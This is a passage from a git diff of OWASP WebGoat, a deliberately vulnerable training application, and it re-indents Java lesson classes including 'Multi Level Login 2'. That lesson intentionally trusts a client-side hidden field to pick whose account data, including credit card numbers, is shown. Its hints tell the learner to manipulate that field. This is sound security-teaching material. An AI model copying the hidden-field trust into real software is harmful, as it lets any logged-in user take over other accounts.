#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - workspaceDiv.addElement(createWorkspaceContent(s)); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Creation of the content of the workspace - * - * @param s - * @return Element - */ - private Element createWorkspaceContent(WebSession s) - { - String user = ""; - user = s.getParser().getStringParameter(USER, ""); - String password = ""; - password = s.getParser().getStringParameter(PASSWORD, ""); - String tan = ""; - tan = s.getParser().getStringParameter(TAN, ""); - String hiddenUser = ""; - hiddenUser = s.getParser().getStringParameter(HIDDEN_USER, ""); - // String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); - - ElementContainer ec = new ElementContainer(); - - // verify that tan is correct and user is logged in - if (loggedIn(s) && correctTan(tan, s)) - { - s.add(CORRECTTAN, "true"); - } - // user is loggedIn but enters wrong tan - else if (loggedIn(s) && !correctTan(tan, s)) - { - s.add(LOGGEDIN, "false"); - } - - if (correctLogin(user, password, s)) - { - s.add(LOGGEDIN, "true"); - s.add(LOGGEDINUSER, user); - s.add(CURRENTTANPOS, getTanPosition(user, s)); - // currentTanNr = getTanPosition(user, s); - // currentTan = getTan(user, currentTanNr, s); - s.add(CURRENTTAN, getTan(user, getCurrentTanPosition(s), s)); - - } - - // if restart button is clicked owe have to reset log in - if (!s.getParser().getStringParameter("Restart", "").equals("")) - { - resetTans(s); - } - // Logout Button is pressed - if (s.getParser().getRawParameter("logout", "").equals("true")) - { - - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - } - if (loggedIn(s) && correctTan(s)) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - createSuccessfulLoginContent(s, ec, hiddenUser); - - } - else if (loggedIn(s)) - { - if (getCurrentTanPosition(s) > 5) - { - createNoTanLeftContent(ec); - } - else - { - createAskForTanContent(s, ec, getCurrentTanPosition(s), user); - } - } - else - { - String errorMessage = ""; - - if (!(user + password).equals("")) - { - errorMessage = "Login failed! Make sure " + "that user name and password is correct."; - } - else if (!tan.equals("")) - { - errorMessage = "Login failed. Tan is " + "incorrect."; - } - - createLogInContent(ec, errorMessage); - } - - return ec; - } - - /** - * Create content for logging in - * - * @param ec - */ - private void createLogInContent(ElementContainer ec, String errorMessage) - { - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - // table.setStyle(tableStyle); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - - H2 errorTag = new H2(errorMessage); - errorTag.addAttribute("align", "center"); - errorTag.addAttribute("class", "info"); - ec.addElement(errorTag); - } - - /** - * Create content in which the tan is asked - * - * @param s - * @param ec - * @param tanNr - */ - private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr, String user) - { - - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); - td2.addElement(new Input(Input.TEXT, TAN)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - td3.setColSpan(2); - td3.setAlign("center"); - - td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr2.addElement(td3); - - table.addElement(tr1); - table.addElement(tr2); - - ec.addElement(new Input(Input.HIDDEN, HIDDEN_USER, user)); - loginDiv.addElement(table); - ec.addElement(loginDiv); - ec.addElement(createLogoutLink()); - - } - - /** - * Create content if there is no tan left - * - * @param ec - */ - private void createNoTanLeftContent(ElementContainer ec) - { - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - H1 h = new H1("
No tan is left! Please contact the admin.
"); - ec.addElement(h); - ec.addElement(createLogoutLink()); - } - - private void createSuccessfulLoginContent(WebSession s, ElementContainer ec, String user) - { - updateTan(user, s); - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(user)); - - try - { - ResultSet results = getUser(user, s); - if (results != null) - { - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - if (!user.equals(getLoggedInUser(s))) - { - makeSuccess(s); - } - } - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - /** - * Update the tan. Every tan should be used only once. - * - * @param user - * @param s - */ - private void updateTan(String user, WebSession s) - { - int tanNr = getTanPosition(user, s); - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setInt(1, tanNr); - prepStatement.setString(2, user); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * If lesson is reseted the tans should be resetted too - * - * @param s - */ - private void resetTans(WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get the count of the tan - * - * @param user - * @param s - * @return tanPosition - */ - private int getTanPosition(String user, WebSession s) - { - int tanNr = 0; - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - - tanNr = results.getInt(results.getRow()); - tanNr = tanNr + 1; - if (tanNr > 5) - { - tanNr = 0; - } - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return tanNr; - } - - /** - * Get the tan for a user with specific position - * - * @param user - * @param tanPosition - * @param s - * @return tan - */ - private String getTan(String user, int tanPosition, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT tan.tanValue FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " - + "AND user_data_tan.userid = tan.userid AND tan.tanNr = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - prepStatement.setInt(2, tanPosition); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - // System.out.println(results.getString("tanValue")); - return results.getString("tanValue"); - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return ""; - - } - - /** - * See if the tan is correct - * - * @param tan - * @return true if the tan is correct - */ - private boolean correctTan(String tan, WebSession s) - { - // if (!getCurrentTan(s).equals("")) { return tan.equals(String.valueOf(currentTan)); } - if (!getCurrentTan(s).equals("")) { return tan.equals(getCurrentTan(s)); } - return false; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } - - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("How does the server know which User has to be logged in"); - hints.add("Maybe taking a look at the source code helps"); - hints.add("Watch out for hidden fields"); - hints.add("Manipulate the hidden field 'hidden_user'"); - - return hints; - - } - - public String getInstructions(WebSession s) - { - String instructions = ""; - - instructions = "You are an attacker called Joe. You have a valid account by webgoat financial. Your goal is to log in as " - + "Jane. Your username is Joe and your password is banana. This are your TANS:
" - + "Tan #1 = 15161
" - + "Tan #2 = 4894
" - + "Tan #3 = 18794
" - + "Tan #4 = 1564
" - + "Tan #5 = 45751
"; - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(110); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - public String getTitle() - { - return ("Multi Level Login 2"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } + private final static String USER = "user2"; + private final static String PASSWORD = "pass2"; + private final static String TAN = "tan2"; + private final static String HIDDEN_USER = "hidden_user"; + + private final static String LOGGEDIN = "loggedin2"; + private final static String CORRECTTAN = "correctTan2"; + private final static String CURRENTTAN = "currentTan2"; + private final static String CURRENTTANPOS = "currentTanPos2"; + + // needed to see if lesson was successfull + private final static String LOGGEDINUSER = "loggedInUser2"; + + // private String LoggedInUser = ""; + + /** + * See if the user is logged in + * + * @param s + * @return true if loggedIn + */ + private boolean loggedIn(WebSession s) + { + try + { + return s.get(LOGGEDIN).equals("true"); + } catch (Exception e) + { + return false; + } + } + + /** + * See if the user had used a valid tan + * + * @param s + * @return true if correctTan + */ + private boolean correctTan(WebSession s) + { + try + { + return s.get(CORRECTTAN).equals("true"); + } catch (Exception e) + { + return false; + } + } + + /** + * Get the currentTan + * + * @param s + * @return the logged in user + */ + private String getCurrentTan(WebSession s) + { + try + { + String currentTan = (String) s.get(CURRENTTAN); + return currentTan; + } catch (Exception e) + { + return ""; + } + } + + /** + * Get the currentTanPossition + * + * @param s + * @return the logged in user + */ + private Integer getCurrentTanPosition(WebSession s) + { + try + { + Integer tanPos = (Integer) s.get(CURRENTTANPOS); + return tanPos; + } catch (Exception e) + { + return 0; + } + } + + /** + * Get the logged in user + * + * @param s + * @return the logged in user + */ + private String getLoggedInUser(WebSession s) + { + try + { + String user = (String) s.get(LOGGEDINUSER); + return user; + } catch (Exception e) + { + return ""; + } + } + + /** + * Creates WebContent + * + * @param s + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + style sty = new style(); + + sty + .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); + ec.addElement(sty); + + Div wrapperDiv = new Div(); + wrapperDiv.setID("lesson_wrapper"); + + Div headerDiv = new Div(); + headerDiv.setID("lesson_header"); + + Div workspaceDiv = new Div(); + workspaceDiv.setClass("lesson_workspace"); + + wrapperDiv.addElement(headerDiv); + wrapperDiv.addElement(workspaceDiv); + + ec.addElement(wrapperDiv); + + workspaceDiv.addElement(createWorkspaceContent(s)); + + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * Creation of the content of the workspace + * + * @param s + * @return Element + */ + private Element createWorkspaceContent(WebSession s) + { + String user = ""; + user = s.getParser().getStringParameter(USER, ""); + String password = ""; + password = s.getParser().getStringParameter(PASSWORD, ""); + String tan = ""; + tan = s.getParser().getStringParameter(TAN, ""); + String hiddenUser = ""; + hiddenUser = s.getParser().getStringParameter(HIDDEN_USER, ""); + // String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); + + ElementContainer ec = new ElementContainer(); + + // verify that tan is correct and user is logged in + if (loggedIn(s) && correctTan(tan, s)) + { + s.add(CORRECTTAN, "true"); + } + // user is loggedIn but enters wrong tan + else if (loggedIn(s) && !correctTan(tan, s)) + { + s.add(LOGGEDIN, "false"); + } + + if (correctLogin(user, password, s)) + { + s.add(LOGGEDIN, "true"); + s.add(LOGGEDINUSER, user); + s.add(CURRENTTANPOS, getTanPosition(user, s)); + // currentTanNr = getTanPosition(user, s); + // currentTan = getTan(user, currentTanNr, s); + s.add(CURRENTTAN, getTan(user, getCurrentTanPosition(s), s)); + + } + + // if restart button is clicked owe have to reset log in + if (!s.getParser().getStringParameter("Restart", "").equals("")) + { + resetTans(s); + } + // Logout Button is pressed + if (s.getParser().getRawParameter("logout", "").equals("true")) + { + + s.add(LOGGEDIN, "false"); + s.add(CORRECTTAN, "false"); + + } + if (loggedIn(s) && correctTan(s)) + { + s.add(LOGGEDIN, "false"); + s.add(CORRECTTAN, "false"); + + createSuccessfulLoginContent(s, ec, hiddenUser); + + } + else if (loggedIn(s)) + { + if (getCurrentTanPosition(s) > 5) + { + createNoTanLeftContent(ec); + } + else + { + createAskForTanContent(s, ec, getCurrentTanPosition(s), user); + } + } + else + { + String errorMessage = ""; + + if (!(user + password).equals("")) + { + errorMessage = "Login failed! Make sure " + "that user name and password is correct."; + } + else if (!tan.equals("")) + { + errorMessage = "Login failed. Tan is " + "incorrect."; + } + + createLogInContent(ec, errorMessage); + } + + return ec; + } + + /** + * Create content for logging in + * + * @param ec + */ + private void createLogInContent(ElementContainer ec, String errorMessage) + { + Div loginDiv = new Div(); + loginDiv.setID("lesson_login"); + + Table table = new Table(); + // table.setStyle(tableStyle); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + td1.addElement(new StringElement("Enter your name: ")); + td2.addElement(new Input(Input.TEXT, USER)); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + TD td4 = new TD(); + td3.addElement(new StringElement("Enter your password: ")); + td4.addElement(new Input(Input.PASSWORD, PASSWORD)); + tr2.addElement(td3); + tr2.addElement(td4); + + TR tr3 = new TR(); + TD td5 = new TD(); + td5.setColSpan(2); + td5.setAlign("center"); + + td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + tr3.addElement(td5); + + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + loginDiv.addElement(table); + ec.addElement(loginDiv); + + H2 errorTag = new H2(errorMessage); + errorTag.addAttribute("align", "center"); + errorTag.addAttribute("class", "info"); + ec.addElement(errorTag); + } + + /** + * Create content in which the tan is asked + * + * @param s + * @param ec + * @param tanNr + */ + private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr, String user) + { + + Div loginDiv = new Div(); + loginDiv.setID("lesson_login"); + + Table table = new Table(); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); + td2.addElement(new Input(Input.TEXT, TAN)); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + td3.setColSpan(2); + td3.setAlign("center"); + + td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + tr2.addElement(td3); + + table.addElement(tr1); + table.addElement(tr2); + + ec.addElement(new Input(Input.HIDDEN, HIDDEN_USER, user)); + loginDiv.addElement(table); + ec.addElement(loginDiv); + ec.addElement(createLogoutLink()); + + } + + /** + * Create content if there is no tan left + * + * @param ec + */ + private void createNoTanLeftContent(ElementContainer ec) + { + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + H1 h = new H1("
No tan is left! Please contact the admin.
"); + ec.addElement(h); + ec.addElement(createLogoutLink()); + } + + private void createSuccessfulLoginContent(WebSession s, ElementContainer ec, String user) + { + updateTan(user, s); + String userDataStyle = "margin-top:50px;"; + + Div userDataDiv = new Div(); + userDataDiv.setStyle(userDataStyle); + userDataDiv.addAttribute("align", "center"); + Table table = new Table(); + table.addAttribute("cellspacing", 10); + table.addAttribute("cellpadding", 5); + + table.addAttribute("align", "center"); + TR tr1 = new TR(); + TR tr2 = new TR(); + TR tr3 = new TR(); + TR tr4 = new TR(); + tr1.addElement(new TD("Firstname:")); + tr1.addElement(new TD(user)); + + try + { + ResultSet results = getUser(user, s); + if (results != null) + { + results.first(); + + tr2.addElement(new TD("Lastname:")); + tr2.addElement(new TD(results.getString("last_name"))); + + tr3.addElement(new TD("Credit Card Type:")); + tr3.addElement(new TD(results.getString("cc_type"))); + + tr4.addElement(new TD("Credit Card Number:")); + tr4.addElement(new TD(results.getString("cc_number"))); + + if (!user.equals(getLoggedInUser(s))) + { + makeSuccess(s); + } + } + + } + + catch (Exception e) + { + e.printStackTrace(); + } + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + table.addElement(tr4); + + userDataDiv.addElement(table); + ec.addElement(userDataDiv); + ec.addElement(createLogoutLink()); + } + + /** + * Create a link for logging out + * + * @return Element + */ + private Element createLogoutLink() + { + A logoutLink = new A(); + logoutLink.addAttribute("href", getLink() + "&logout=true"); + logoutLink.addElement("Logout"); + + String logoutStyle = "margin-right:50px; mrgin-top:30px"; + Div logoutDiv = new Div(); + logoutDiv.addAttribute("align", "right"); + logoutDiv.addElement(logoutLink); + logoutDiv.setStyle(logoutStyle); + + return logoutDiv; + } + + /** + * Update the tan. Every tan should be used only once. + * + * @param user + * @param s + */ + private void updateTan(String user, WebSession s) + { + int tanNr = getTanPosition(user, s); + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setInt(1, tanNr); + prepStatement.setString(2, user); + prepStatement.execute(); + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + } + + /** + * Get a user by its name + * + * @param user + * @param s + * @return ResultSet containing the user + */ + private ResultSet getUser(String user, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + + ResultSet results = prepStatement.executeQuery(); + + return results; + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + return null; + + } + + /** + * If lesson is reseted the tans should be resetted too + * + * @param s + */ + private void resetTans(WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.execute(); + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + } + + /** + * Get the count of the tan + * + * @param user + * @param s + * @return tanPosition + */ + private int getTanPosition(String user, WebSession s) + { + int tanNr = 0; + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) + { + + tanNr = results.getInt(results.getRow()); + tanNr = tanNr + 1; + if (tanNr > 5) + { + tanNr = 0; + } + } + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + return tanNr; + } + + /** + * Get the tan for a user with specific position + * + * @param user + * @param tanPosition + * @param s + * @return tan + */ + private String getTan(String user, int tanPosition, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT tan.tanValue FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " + + "AND user_data_tan.userid = tan.userid AND tan.tanNr = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + prepStatement.setInt(2, tanPosition); + + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) + { + // System.out.println(results.getString("tanValue")); + return results.getString("tanValue"); + + } + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + return ""; + + } + + /** + * See if the tan is correct + * + * @param tan + * @return true if the tan is correct + */ + private boolean correctTan(String tan, WebSession s) + { + // if (!getCurrentTan(s).equals("")) { return tan.equals(String.valueOf(currentTan)); } + if (!getCurrentTan(s).equals("")) { return tan.equals(getCurrentTan(s)); } + return false; + } + + /** + * See if the password and corresponding user is valid + * + * @param userName + * @param password + * @param s + * @return true if the password was correct + */ + private boolean correctLogin(String userName, String password, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, userName); + prepStatement.setString(2, password); + + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) { + + return true; + + } + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + return false; + + } + + protected Category getDefaultCategory() + { + return Category.AUTHENTICATION; + } + + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("How does the server know which User has to be logged in"); + hints.add("Maybe taking a look at the source code helps"); + hints.add("Watch out for hidden fields"); + hints.add("Manipulate the hidden field 'hidden_user'"); + + return hints; + + } + + public String getInstructions(WebSession s) + { + String instructions = ""; + + instructions = "You are an attacker called Joe. You have a valid account by webgoat financial. Your goal is to log in as " + + "Jane. Your username is Joe and your password is banana. This are your TANS:
" + + "Tan #1 = 15161
" + + "Tan #2 = 4894
" + + "Tan #3 = 18794
" + + "Tan #4 = 1564
" + + "Tan #5 = 45751
"; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(110); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + public String getTitle() + { + return ("Multi Level Login 2"); + } + + public Element getCredits() + { + return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/NewLesson.java b/src/main/java/org/owasp/webgoat/lessons/NewLesson.java index fa8f64b0a..90b22af3d 100644 --- a/src/main/java/org/owasp/webgoat/lessons/NewLesson.java +++ b/src/main/java/org/owasp/webgoat/lessons/NewLesson.java @@ -38,51 +38,51 @@ import org.owasp.webgoat.session.WebSession; */ public class NewLesson extends LessonAdapter { - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createContent(s); - // makeSuccess(s); - // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); - // return (ec); - } + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createContent(s); + // makeSuccess(s); + // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); + // return (ec); + } - /** - * Gets the category attribute of the NEW_LESSON object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INTRODUCTION; - } + /** + * Gets the category attribute of the NEW_LESSON object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INTRODUCTION; + } - private final static Integer DEFAULT_RANKING = new Integer(85); + private final static Integer DEFAULT_RANKING = new Integer(85); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the DirectoryScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("How to create a Lesson"); - } + /** + * Gets the title attribute of the DirectoryScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("How to create a Lesson"); + } - public Element getCredits() - { - return super.getCustomCredits("Created by: Your name goes here!", new StringElement("")); - } + public Element getCredits() + { + return super.getCustomCredits("Created by: Your name goes here!", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/OffByOne.java b/src/main/java/org/owasp/webgoat/lessons/OffByOne.java index 96e4fbc55..922f9b0ee 100644 --- 